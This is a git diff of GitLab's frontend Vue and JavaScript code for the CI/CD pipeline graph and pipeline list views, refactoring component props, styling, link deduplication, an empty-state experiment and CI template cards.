export const VARIABLE_TYPE = 'env_var';
export const FILE_TYPE = 'file';
-export const DEBOUNCE_REFS_SEARCH_MS = 250;
+export const DEBOUNCE_REFS_SEARCH_MS = DEFAULT_DEBOUNCE_AND_THROTTLE_MS;
export const CONFIG_VARIABLES_TIMEOUT = 5000;
export const BRANCH_REF_TYPE = 'branch';
export const TAG_REF_TYPE = 'tag';
diff --git a/app/assets/javascripts/pipelines/components/graph/graph_component.vue b/app/assets/javascripts/pipelines/components/graph/graph_component.vue
index 71ec81b8969..ea45b5e3ec7 100644
--- a/app/assets/javascripts/pipelines/components/graph/graph_component.vue
+++ b/app/assets/javascripts/pipelines/components/graph/graph_component.vue
@@ -101,9 +101,6 @@ export default {
showJobLinks() {
return !this.isStageView && this.showLinks;
},
- shouldShowStageName() {
- return !this.isStageView;
- },
// The show downstream check prevents showing redundant linked columns
showDownstreamPipelines() {
return (
@@ -165,8 +162,10 @@ export default {
<div class="js-pipeline-graph">
<div
ref="mainPipelineContainer"
- class="gl-display-flex gl-position-relative gl-bg-gray-10 gl-white-space-nowrap gl-border-t-solid gl-border-t-1 gl-border-gray-100"
- :class="{ 'gl-pipeline-min-h gl-py-5 gl-overflow-auto': !isLinkedPipeline }"
+ class="gl-display-flex gl-position-relative gl-bg-gray-10 gl-white-space-nowrap"
+ :class="{
+ 'gl-pipeline-min-h gl-py-5 gl-overflow-auto gl-border-t-solid gl-border-t-1 gl-border-gray-100': !isLinkedPipeline,
+ }"
>
<linked-graph-wrapper>
<template #upstream>
@@ -202,11 +201,12 @@ export default {
:groups="column.groups"
:action="column.status.action"
:highlighted-jobs="highlightedJobs"
- :show-stage-name="shouldShowStageName"
+ :is-stage-view="isStageView"
:job-hovered="hoveredJobName"
:source-job-hovered="hoveredSourceJobName"
:pipeline-expanded="pipelineExpanded"
:pipeline-id="pipeline.id"
+ :user-permissions="pipeline.userPermissions"
@refreshPipelineGraph="$emit('refreshPipelineGraph')"
@jobHover="setJob"
@updateMeasurements="getMeasurements"
diff --git a/app/assets/javascripts/pipelines/components/graph/graph_component_wrapper.vue b/app/assets/javascripts/pipelines/components/graph/graph_component_wrapper.vue
index fb45738f8d1..a948a57c144 100644
--- a/app/assets/javascripts/pipelines/components/graph/graph_component_wrapper.vue
+++ b/app/assets/javascripts/pipelines/components/graph/graph_component_wrapper.vue
@@ -105,7 +105,7 @@ export default {
return this.pipeline;
}
- return unwrapPipelineData(this.pipelineProjectPath, data);
+ return unwrapPipelineData(this.pipelineProjectPath, JSON.parse(JSON.stringify(data)));
},
error(err) {
this.reportFailure({ type: LOAD_FAILURE, skipSentry: true });
@@ -114,7 +114,7 @@ export default {
this.$options.name,
`| type: ${LOAD_FAILURE} , info: ${serializeLoadErrors(err)}`,
{
- projectPath: this.projectPath,
+ projectPath: this.pipelineProjectPath,
pipelineIid: this.pipelineIid,
pipelineStages: this.pipeline?.stages?.length || 0,
nbOfDownstreams: this.pipeline?.downstream?.length || 0,
diff --git a/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue b/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue
index b3c5af5418f..dd8a354511a 100644
--- a/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue
+++ b/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue
@@ -161,7 +161,7 @@ export default {
:size="24"
css-classes="gl-top-0 gl-pr-2"
/>
- <div v-else class="gl-pr-2"><gl-loading-icon inline /></div>
+ <div v-else class="gl-pr-2"><gl-loading-icon size="sm" inline /></div>
<div class="gl-display-flex gl-flex-direction-column gl-w-13">
<span class="gl-text-truncate" data-testid="downstream-title">
{{ downstreamTitle }}
diff --git a/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue b/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue
index 45113ecff41..52ee40bd982 100644
--- a/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue
+++ b/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue
@@ -118,7 +118,7 @@ export default {
return this.currentPipeline;
}
- return unwrapPipelineData(projectPath, data);
+ return unwrapPipelineData(projectPath, JSON.parse(JSON.stringify(data)));
},
result() {
this.loadingPipelineId = null;
diff --git a/app/assets/javascripts/pipelines/components/graph/stage_column_component.vue b/app/assets/javascripts/pipelines/components/graph/stage_column_component.vue
index 81d59f1ef65..d34ae8036ed 100644
--- a/app/assets/javascripts/pipelines/components/graph/stage_column_component.vue
+++ b/app/assets/javascripts/pipelines/components/graph/stage_column_component.vue
@@ -40,6 +40,11 @@ export default {
required: false,
default: () => [],
},
+ isStageView: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
jobHovered: {
type: String,
required: false,
@@ -50,16 +55,15 @@ export default {
required: false,
default: () => ({}),
},
- showStageName: {
- type: Boolean,
- required: false,
- default: false,
- },
sourceJobHovered: {
type: String,
required: false,
default: '',
},
+ userPermissions: {
+ type: Object,
+ required: true,
+ },
},
titleClasses: [
'gl-font-weight-bold',
@@ -69,20 +73,11 @@ export default {
'gl-pl-3',
],
computed: {
- /*
- currentGroups and filteredGroups are part of
- a test to hunt down a bug
- (see: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57142).
-
- They should be removed when the bug is rectified.
- */
- currentGroups() {
- return this.glFeatures.pipelineFilterJobs ? this.filteredGroups : this.groups;
+ canUpdatePipeline() {
+ return this.userPermissions.updatePipeline;
},
- filteredGroups() {
- return this.groups.map((group) => {
- return { ...group, jobs: group.jobs.filter(Boolean) };
- });
+ columnSpacingClass() {
+ return this.isStageView ? 'gl-px-6' : 'gl-px-9';
},
formattedTitle() {
return capitalize(escape(this.name));
@@ -90,6 +85,9 @@ export default {
hasAction() {
return !isEmpty(this.action);
},
+ showStageName() {
+ return !this.isStageView;
+ },
},
errorCaptured(err, _vm, info) {
reportToSentry('stage_column_component', `error: ${err}, info: ${info}`);
@@ -123,7 +121,7 @@ export default {
};
</script>
<template>
- <main-graph-wrapper class="gl-px-6" data-testid="stage-column">
+ <main-graph-wrapper :class="columnSpacingClass" data-testid="stage-column">
<template #stages>
<div
data-testid="stage-column-title"
@@ -132,7 +130,7 @@ export default {
>
<div>{{ formattedTitle }}</div>
<action-component
- v-if="hasAction"
+ v-if="hasAction && canUpdatePipeline"
:action-icon="action.icon"
:tooltip-text="action.title"
:link="action.path"
@@ -143,7 +141,7 @@ export default {
</template>
<template #jobs>
<div
- v-for="group in currentGroups"
+ v-for="group in groups"
:id="groupId(group)"
:key="getGroupId(group)"
data-testid="stage-column-group"
diff --git a/app/assets/javascripts/pipelines/components/graph_shared/drawing_utils.js b/app/assets/javascripts/pipelines/components/graph_shared/drawing_utils.js
index 7c62acbe8de..83f2466f0bf 100644
--- a/app/assets/javascripts/pipelines/components/graph_shared/drawing_utils.js
+++ b/app/assets/javascripts/pipelines/components/graph_shared/drawing_utils.js
@@ -75,11 +75,11 @@ export const generateLinksData = ({ links }, containerID, modifier = '') => {
// until we can safely draw the bezier to look nice.
// The adjustment number here is a magic number to make things
// look nice and should change if the padding changes. This goes well
- // with gl-px-6. gl-px-8 is more like 100.
- const straightLineDestinationX = targetNodeX - 60;
+ // with gl-px-9 which we translate with 100px here.
+ const straightLineDestinationX = targetNodeX - 100;
const controlPointX = straightLineDestinationX + (targetNodeX - straightLineDestinationX) / 2;
- if (straightLineDestinationX > 0) {
+ if (straightLineDestinationX > firstPointCoordinateX) {
path.lineTo(straightLineDestinationX, sourceNodeY);
}
diff --git a/app/assets/javascripts/pipelines/components/jobs_shared/action_component.vue b/app/assets/javascripts/pipelines/components/jobs_shared/action_component.vue
index d19215e7895..efad43ddd4f 100644
--- a/app/assets/javascripts/pipelines/components/jobs_shared/action_component.vue
+++ b/app/assets/javascripts/pipelines/components/jobs_shared/action_component.vue
@@ -99,7 +99,7 @@ export default {
class="js-ci-action gl-ci-action-icon-container ci-action-icon-container ci-action-icon-wrapper gl-display-flex gl-align-items-center gl-justify-content-center"
@click.stop="onClickAction"
>
- <gl-loading-icon v-if="isLoading" class="js-action-icon-loading" />
+ <gl-loading-icon v-if="isLoading" size="sm" class="js-action-icon-loading" />
<gl-icon v-else :name="actionIcon" class="gl-mr-0!" :aria-label="actionIcon" />
</gl-button>
</template>
diff --git a/app/assets/javascripts/pipelines/components/parsing_utils.js b/app/assets/javascripts/pipelines/components/parsing_utils.js
index f1d9ced807b..b36c9c0d049 100644
--- a/app/assets/javascripts/pipelines/components/parsing_utils.js
+++ b/app/assets/javascripts/pipelines/components/parsing_utils.js
@@ -1,4 +1,4 @@
-import { isEqual, memoize, uniqWith } from 'lodash';
+import { memoize } from 'lodash';
import { createSankey } from './dag/drawing_utils';
/*
@@ -113,11 +113,24 @@ export const filterByAncestors = (links, nodeDict) =>
return !allAncestors.includes(source);
});
+/*
+ A peformant alternative to lodash's isEqual. Because findIndex always finds
+ the first instance of a match, if the found index is not the first, we know
+ it is in fact a duplicate.
+*/
+const deduplicate = (item, itemIndex, arr) => {
+ const foundIdx = arr.findIndex((test) => {
+ return test.source === item.source && test.target === item.target;
+ });
+
+ return foundIdx === itemIndex;
+};
+
export const parseData = (nodes) => {
const nodeDict = createNodeDict(nodes);
const allLinks = makeLinksFromNodes(nodes, nodeDict);
const filteredLinks = filterByAncestors(allLinks, nodeDict);
- const links = uniqWith(filteredLinks, isEqual);
+ const links = filteredLinks.filter(deduplicate);
return { nodes, links };
};
diff --git a/app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue b/app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue
index 01baf0a42d5..836333c8bde 100644
--- a/app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue
+++ b/app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue
@@ -14,7 +14,7 @@ export default {
type: Number,
required: true,
},
- isHighlighted: {
+ isHovered: {
type: Boolean,
required: false,
default: false,
@@ -42,7 +42,7 @@ export default {
jobPillClasses() {
return [
{ 'gl-opacity-3': this.isFadedOut },
- this.isHighlighted ? 'gl-shadow-blue-200-x0-y0-b4-s2' : 'gl-inset-border-2-green-400',
+ { 'gl-bg-gray-50 gl-inset-border-1-gray-200': this.isHovered },
];
},
},
@@ -57,15 +57,17 @@ export default {
};
</script>
<template>
- <tooltip-on-truncate :title="jobName" truncate-target="child" placement="top">
- <div
- :id="id"
- class="gl-w-15 gl-bg-white gl-text-center gl-text-truncate gl-rounded-pill gl-mb-3 gl-px-5 gl-py-2 gl-relative gl-z-index-1 gl-transition-duration-slow gl-transition-timing-function-ease"
- :class="jobPillClasses"
- @mouseover="onMouseEnter"
- @mouseleave="onMouseLeave"
- >
- {{ jobName }}
- </div>
- </tooltip-on-truncate>
+ <div class="gl-w-full">
+ <tooltip-on-truncate :title="jobName" truncate-target="child" placement="top">
+ <div
+ :id="id"
+ class="gl-bg-white gl-inset-border-1-gray-100 gl-text-center gl-text-truncate gl-rounded-6 gl-mb-3 gl-px-5 gl-py-3 gl-relative gl-z-index-1 gl-transition-duration-slow gl-transition-timing-function-ease"
+ :class="jobPillClasses"
+ @mouseover="onMouseEnter"
+ @mouseleave="onMouseLeave"
+ >
+ {{ jobName }}
+ </div>
+ </tooltip-on-truncate>
+ </div>
</template>
diff --git a/app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue b/app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue
index 3ba0d7d0120..78771b6a072 100644
--- a/app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue
+++ b/app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue
@@ -4,14 +4,14 @@ import { __ } from '~/locale';
import { DRAW_FAILURE, DEFAULT } from '../../constants';
import LinksLayer from '../graph_shared/links_layer.vue';
import JobPill from './job_pill.vue';
-import StagePill from './stage_pill.vue';
+import StageName from './stage_name.vue';
export default {
components: {
GlAlert,
JobPill,
LinksLayer,
- StagePill,
+ StageName,
},
CONTAINER_REF: 'PIPELINE_GRAPH_CONTAINER_REF',
BASE_CONTAINER_ID: 'pipeline-graph-container',
@@ -21,6 +21,11 @@ export default {
[DRAW_FAILURE]: __('Could not draw the lines for job relationships'),
[DEFAULT]: __('An unknown error occurred.'),
},
+ // The combination of gl-w-full gl-min-w-full and gl-max-w-15 is necessary.
+ // The max width and the width make sure the ellipsis to work and the min width
+ // is for when there is less text than the stage column width (which the width 100% does not fix)
+ jobWrapperClasses:
+ 'gl-display-flex gl-flex-direction-column gl-align-items-center gl-w-full gl-px-8 gl-min-w-full gl-max-w-15',
props: {
pipelineData: {
required: true,
@@ -85,23 +90,8 @@ export default {
height: this.$refs[this.$options.CONTAINER_REF].scrollHeight,
};
},
- getStageBackgroundClasses(index) {
- const { length } = this.pipelineStages;
- // It's possible for a graph to have only one stage, in which
- // case we concatenate both the left and right rounding classes
- if (length === 1) {
- return 'gl-rounded-bottom-left-6 gl-rounded-top-left-6 gl-rounded-bottom-right-6 gl-rounded-top-right-6';
- }
-
- if (index === 0) {
- return 'gl-rounded-bottom-left-6 gl-rounded-top-left-6';
- }
-
- if (index === length - 1) {
- return 'gl-rounded-bottom-right-6 gl-rounded-top-right-6';
- }
-
- return '';
+ isFadedOut(jobName) {
+ return this.highlightedJobs.length > 1 && !this.isJobHighlighted(jobName);
},
isJobHighlighted(jobName) {
return this.highlightedJobs.includes(jobName);
@@ -137,7 +127,12 @@ export default {
>
{{ failure.text }}
</gl-alert>
- <div :id="containerId" :ref="$options.CONTAINER_REF" data-testid="graph-container">
+ <div
+ :id="containerId"
+ :ref="$options.CONTAINER_REF"
+ class="gl-bg-gray-10 gl-overflow-auto"
+ data-testid="graph-container"
+ >
<links-layer
:pipeline-data="pipelineStages"
:pipeline-id="$options.PIPELINE_ID"
@@ -152,23 +147,17 @@ export default {
:key="`${stage.name}-${index}`"
class="gl-flex-direction-column"
>
- <div
- class="gl-display-flex gl-align-items-center gl-bg-white gl-w-full gl-px-8 gl-py-4 gl-mb-5"
- :class="getStageBackgroundClasses(index)"
- data-testid="stage-background"
- >
- <stage-pill :stage-name="stage.name" :is-empty="stage.groups.length === 0" />
+ <div class="gl-display-flex gl-align-items-center gl-w-full gl-px-9 gl-py-4 gl-mb-5">
+ <stage-name :stage-name="stage.name" />
</div>
- <div
- class="gl-display-flex gl-flex-direction-column gl-align-items-center gl-w-full gl-px-8"
- >
+ <div :class="$options.jobWrapperClasses">
<job-pill
v-for="group in stage.groups"
:key="group.name"
:job-name="group.name"
:pipeline-id="$options.PIPELINE_ID"
- :is-highlighted="hasHighlightedJob && isJobHighlighted(group.name)"
- :is-faded-out="hasHighlightedJob && !isJobHighlighted(group.name)"
+ :is-hovered="highlightedJob === group.name"
+ :is-faded-out="isFadedOut(group.name)"
@on-mouse-enter="setHoveredJob"
@on-mouse-leave="removeHoveredJob"
/>
diff --git a/app/assets/javascripts/pipelines/components/pipeline_graph/stage_name.vue b/app/assets/javascripts/pipelines/components/pipeline_graph/stage_name.vue
new file mode 100644
index 00000000000..367a18af248
--- /dev/null
+++ b/app/assets/javascripts/pipelines/components/pipeline_graph/stage_name.vue
@@ -0,0 +1,28 @@
+<script>
+import { capitalize, escape } from 'lodash';
+import tooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+
+export default {
+ components: {
+ tooltipOnTruncate,
+ },
+ props: {
+ stageName: {
+ type: String,
+ required: true,
+ },
+ },
+ computed: {
+ formattedTitle() {
+ return capitalize(escape(this.stageName));
+ },
+ },
+};
+</script>
+<template>
+ <tooltip-on-truncate :title="stageName" truncate-target="child" placement="top">
+ <div class="gl-py-2 gl-text-truncate gl-font-weight-bold gl-w-20">
+ {{ formattedTitle }}
+ </div>
+ </tooltip-on-truncate>
+</template>
diff --git a/app/assets/javascripts/pipelines/components/pipeline_graph/stage_pill.vue b/app/assets/javascripts/pipelines/components/pipeline_graph/stage_pill.vue
deleted file mode 100644
index df48426f24e..00000000000
--- a/app/assets/javascripts/pipelines/components/pipeline_graph/stage_pill.vue
+++ /dev/null
@@ -1,35 +0,0 @@
-<script>
-import tooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
-
-export default {
- components: {
- tooltipOnTruncate,
- },
- props: {
- stageName: {
- type: String,
- required: true,
- },
- isEmpty: {
- type: Boolean,
- required: false,
- default: false,
- },
- },
- computed: {
- emptyClass() {
- return this.isEmpty ? 'gl-bg-gray-200' : 'gl-bg-gray-600';
- },
- },
-};
-</script>
-<template>
- <tooltip-on-truncate :title="stageName" truncate-target="child" placement="top">
- <div
- class="gl-px-5 gl-py-2 gl-text-white gl-text-center gl-text-truncate gl-rounded-pill gl-w-20"
- :class="emptyClass"
- >
- {{ stageName }}
- </div>
- </tooltip-on-truncate>
-</template>
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/empty_state.vue b/app/assets/javascripts/pipelines/components/pipelines_list/empty_state.vue
index 104a3caab4c..1ce6654e0e9 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/empty_state.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/empty_state.vue
@@ -16,7 +16,6 @@ export default {
consuming tasks, so you can spend more time creating.`),
aboutRunnersBtnText: s__('Pipelines|Learn about Runners'),
installRunnersBtnText: s__('Pipelines|Install GitLab Runners'),
- getStartedBtnText: s__('Pipelines|Get started with CI/CD'),
codeQualityTitle: s__('Pipelines|Improve code quality with GitLab CI/CD'),
codeQualityDescription: s__(`Pipelines|To keep your codebase simple,
readable, and accessible to contributors, use GitLab CI/CD
@@ -55,9 +54,6 @@ export default {
ciHelpPagePath() {
return helpPagePath('ci/quick_start/index.md');
},
- isPipelineEmptyStateTemplatesExperimentActive() {
- return this.canSetCi && Boolean(getExperimentData('pipeline_empty_state_templates'));
- },
isCodeQualityExperimentActive() {
return this.canSetCi && Boolean(getExperimentData('code_quality_walkthrough'));
},
@@ -81,37 +77,8 @@ export default {
</script>
<template>
<div>
- <gitlab-experiment
- v-if="isPipelineEmptyStateTemplatesExperimentActive"
- name="pipeline_empty_state_templates"
- >
- <template #control>
- <gl-empty-state
- :title="$options.i18n.title"
- :svg-path="emptyStateSvgPath"
- :description="$options.i18n.description"
- :primary-button-text="$options.i18n.getStartedBtnText"
- :primary-button-link="ciHelpPagePath"
- />
- </template>
- <template #candidate>
- <pipelines-ci-templates />
- </template>
- </gitlab-experiment>
- <gitlab-experiment v-else-if="isCodeQualityExperimentActive" name="code_quality_walkthrough">
- <template #control>
- <gl-empty-state
- :title="$options.i18n.title"
- :svg-path="emptyStateSvgPath"
- :description="$options.i18n.description"
- >
- <template #actions>
- <gl-button :href="ciHelpPagePath" variant="confirm" @click="trackClick()">
- {{ $options.i18n.getStartedBtnText }}
- </gl-button>
- </template>
- </gl-empty-state>
- </template>
+ <gitlab-experiment v-if="isCodeQualityExperimentActive" name="code_quality_walkthrough">
+ <template #control><pipelines-ci-templates /></template>
<template #candidate>
<gl-empty-state
:title="$options.i18n.codeQualityTitle"
@@ -127,23 +94,7 @@ export default {
</template>
</gitlab-experiment>
<gitlab-experiment v-else-if="isCiRunnerTemplatesExperimentActive" name="ci_runner_templates">
- <template #control>
- <gl-empty-state
- :title="$options.i18n.title"
- :svg-path="emptyStateSvgPath"
- :description="$options.i18n.description"
- >
- <template #actions>
- <gl-button
- :href="ciHelpPagePath"
- variant="confirm"
- @click="trackCiRunnerTemplatesClick('get_started_button_clicked')"
- >
- {{ $options.i18n.getStartedBtnText }}
- </gl-button>
- </template>
- </gl-empty-state>
- </template>
+ <template #control><pipelines-ci-templates /></template>
<template #candidate>
<gl-empty-state
:title="$options.i18n.title"
@@ -169,14 +120,7 @@ export default {
</gl-empty-state>
</template>
</gitlab-experiment>
- <gl-empty-state
- v-else-if="canSetCi"
- :title="$options.i18n.title"
- :svg-path="emptyStateSvgPath"
- :description="$options.i18n.description"
- :primary-button-text="$options.i18n.getStartedBtnText"
- :primary-button-link="ciHelpPagePath"
- />
+ <pipelines-ci-templates v-else-if="canSetCi" />
<gl-empty-state
v-else
title=""
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_multi_actions.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_multi_actions.vue
index d7bd2d731b1..5e18f636b52 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_multi_actions.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_multi_actions.vue
@@ -97,7 +97,7 @@ export default {
{{ $options.i18n.artifactsFetchErrorMessage }}
</gl-alert>
- <gl-loading-icon v-if="isLoading" />
+ <gl-loading-icon v-if="isLoading" size="sm" />
<gl-dropdown-item
v-for="(artifact, i) in artifacts"
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_stage.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_stage.vue
index bf992b84387..7552ddb61dc 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_stage.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_stage.vue
@@ -13,7 +13,7 @@
*/
import { GlDropdown, GlLoadingIcon, GlTooltipDirective, GlIcon } from '@gitlab/ui';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { __ } from '~/locale';
import eventHub from '../../event_hub';
@@ -83,7 +83,9 @@ export default {
this.$refs.dropdown.hide();
this.isLoading = false;
- Flash(__('Something went wrong on our end.'));
+ createFlash({
+ message: __('Something went wrong on our end.'),
+ });
});
},
isDropdownOpen() {
@@ -118,7 +120,7 @@ export default {
<gl-icon :name="borderlessIcon" />
</span>
</template>
- <gl-loading-icon v-if="isLoading" />
+ <gl-loading-icon v-if="isLoading" size="sm" />
<ul
v-else
class="js-builds-dropdown-list scrollable-menu"
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_url.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_url.vue
index 52c8ef2cf26..fc8f31c5b7e 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_url.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_url.vue
@@ -60,19 +60,20 @@ export default {
data-testid="pipeline-url-link"
data-qa-selector="pipeline_url_link"
>
- <span class="pipeline-id">#{{ pipeline.id }}</span>
+ #{{ pipeline.id }}
</gl-link>
<div class="label-container">
- <gl-link v-if="isScheduled" :href="pipelineScheduleUrl" target="__blank">
- <gl-badge
- v-gl-tooltip
- :title="__('This pipeline was triggered by a schedule.')"
- variant="info"
- size="sm"
- data-testid="pipeline-url-scheduled"
- >{{ __('Scheduled') }}</gl-badge
- >
- </gl-link>
+ <gl-badge
+ v-if="isScheduled"
+ v-gl-tooltip
+ :href="pipelineScheduleUrl"
+ target="__blank"
+ :title="__('This pipeline was triggered by a schedule.')"
+ variant="info"
+ size="sm"
+ data-testid="pipeline-url-scheduled"
+ >{{ __('Scheduled') }}</gl-badge
+ >
<gl-badge
v-if="pipeline.flags.latest"
v-gl-tooltip
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue
index 8bb2657c161..e3373178239 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue
@@ -2,7 +2,7 @@
import { GlEmptyState, GlIcon, GlLoadingIcon } from '@gitlab/ui';
import { isEqual } from 'lodash';
import createFlash from '~/flash';
-import { getParameterByName } from '~/lib/utils/common_utils';
+import { getParameterByName } from '~/lib/utils/url_utility';
import { __, s__ } from '~/locale';
import NavigationTabs from '~/vue_shared/components/navigation_tabs.vue';
import TablePagination from '~/vue_shared/components/pagination/table_pagination.vue';
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_artifacts.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_artifacts.vue
index 147fff52101..36629d9f1f1 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_artifacts.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_artifacts.vue
@@ -96,7 +96,7 @@ export default {
{{ $options.i18n.artifactsFetchErrorMessage }}
</gl-alert>
- <gl-loading-icon v-if="isLoading" />
+ <gl-loading-icon v-if="isLoading" size="sm" />
<gl-alert v-else-if="!hasArtifacts" variant="info" :dismissible="false">
{{ $options.i18n.noArtifacts }}
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_ci_templates.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_ci_templates.vue
index c2ec8c57fd7..c6c81d5253b 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_ci_templates.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_ci_templates.vue
@@ -1,17 +1,19 @@
<script>
-import { GlButton, GlCard, GlSprintf } from '@gitlab/ui';
-import ExperimentTracking from '~/experimentation/experiment_tracking';
+import { GlAvatar, GlButton, GlCard, GlSprintf } from '@gitlab/ui';
import { mergeUrlParams } from '~/lib/utils/url_utility';
import { s__, sprintf } from '~/locale';
-import { HELLO_WORLD_TEMPLATE_KEY } from '../../constants';
+import { STARTER_TEMPLATE_NAME } from '~/pipeline_editor/constants';
+import Tracking from '~/tracking';
export default {
components: {
+ GlAvatar,
GlButton,
GlCard,
GlSprintf,
},
- HELLO_WORLD_TEMPLATE_KEY,
+ mixins: [Tracking.mixin()],
+ STARTER_TEMPLATE_NAME,
i18n: {
cta: s__('Pipelines|Use template'),
testTemplates: {
@@ -19,10 +21,10 @@ export default {
subtitle: s__(
'Pipelines|Use a sample %{codeStart}.gitlab-ci.yml%{codeEnd} template file to explore how CI/CD works.',
),
- helloWorld: {
- title: s__('Pipelines|“Hello world†with GitLab CI/CD'),
+ gettingStarted: {
+ title: s__('Pipelines|Get started with GitLab CI/CD'),
description: s__(
- 'Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script.',
+ 'Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline.',
),
},
},
@@ -34,31 +36,30 @@ export default {
description: s__('Pipelines|CI/CD template to test and deploy your %{name} project.'),
},
},
- inject: ['addCiYmlPath', 'suggestedCiTemplates'],
+ inject: ['pipelineEditorPath', 'suggestedCiTemplates'],
data() {
const templates = this.suggestedCiTemplates.map(({ name, logo }) => {
return {
name,
logo,
- link: mergeUrlParams({ template: name }, this.addCiYmlPath),
+ link: mergeUrlParams({ template: name }, this.pipelineEditorPath),
description: sprintf(this.$options.i18n.templates.description, { name }),
};
});
return {
templates,
- helloWorldTemplateUrl: mergeUrlParams(
- { template: HELLO_WORLD_TEMPLATE_KEY },
- this.addCiYmlPath,
+ gettingStartedTemplateUrl: mergeUrlParams(
+ { template: STARTER_TEMPLATE_NAME },
+ this.pipelineEditorPath,
),
};
},
methods: {
trackEvent(template) {
- const tracking = new ExperimentTracking('pipeline_empty_state_templates', {
+ this.track('template_clicked', {
label: template,
});
- tracking.event('template_clicked');
},
},
};
@@ -81,18 +82,18 @@ export default {
<div class="gl-py-5"><gl-emoji class="gl-font-size-h2-xl" data-name="wave" /></div>
<div class="gl-mb-3">
<strong class="gl-text-gray-800 gl-mb-2">{{
- $options.i18n.testTemplates.helloWorld.title
+ $options.i18n.testTemplates.gettingStarted.title
}}</strong>
</div>
- <p class="gl-font-sm">{{ $options.i18n.testTemplates.helloWorld.description }}</p>
+ <p class="gl-font-sm">{{ $options.i18n.testTemplates.gettingStarted.description }}</p>
</div>
<gl-button
category="primary"
variant="confirm"
- :href="helloWorldTemplateUrl"
+ :href="gettingStartedTemplateUrl"
data-testid="test-template-link"
- @click="trackEvent($options.HELLO_WORLD_TEMPLATE_KEY)"
+ @click="trackEvent($options.STARTER_TEMPLATE_NAME)"
>
{{ $options.i18n.cta }}
</gl-button>
@@ -109,11 +110,12 @@ export default {
class="gl-display-flex gl-align-items-center gl-justify-content-space-between gl-border-b-solid gl-border-b-1 gl-border-b-gray-100 gl-pb-3 gl-pt-3"
>
<div class="gl-display-flex gl-flex-direction-row gl-align-items-center">
- <img
- width="64"
- height="64"
+ <gl-avatar
:src="template.logo"
- class="gl-mr-6"
+ :size="64"
+ class="gl-mr-6 gl-bg-white dark-mode-override"
+ shape="rect"
+ :alt="template.name"
data-testid="template-logo"
/>
<div class="gl-flex-direction-row">
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_branch_name_token.vue b/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_branch_name_token.vue
index 15ff7da35e1..5409e68cdc4 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_branch_name_token.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_branch_name_token.vue
@@ -60,7 +60,7 @@ export default {
@input="searchBranches"
>
<template #suggestions>
- <gl-loading-icon v-if="loading" />
+ <gl-loading-icon v-if="loading" size="sm" />
<template v-else>
<gl-filtered-search-suggestion
v-for="(branch, index) in branches"
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_tag_name_token.vue b/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_tag_name_token.vue
index af62c492748..afcdd63b664 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_tag_name_token.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/tokens/pipeline_tag_name_token.vue
@@ -55,7 +55,7 @@ export default {
<template>
<gl-filtered-search-token v-bind="{ ...$props, ...$attrs }" v-on="$listeners" @input="searchTags">
<template #suggestions>
- <gl-loading-icon v-if="loading" />
+ <gl-loading-icon v-if="loading" size="sm" />
<template v-else>
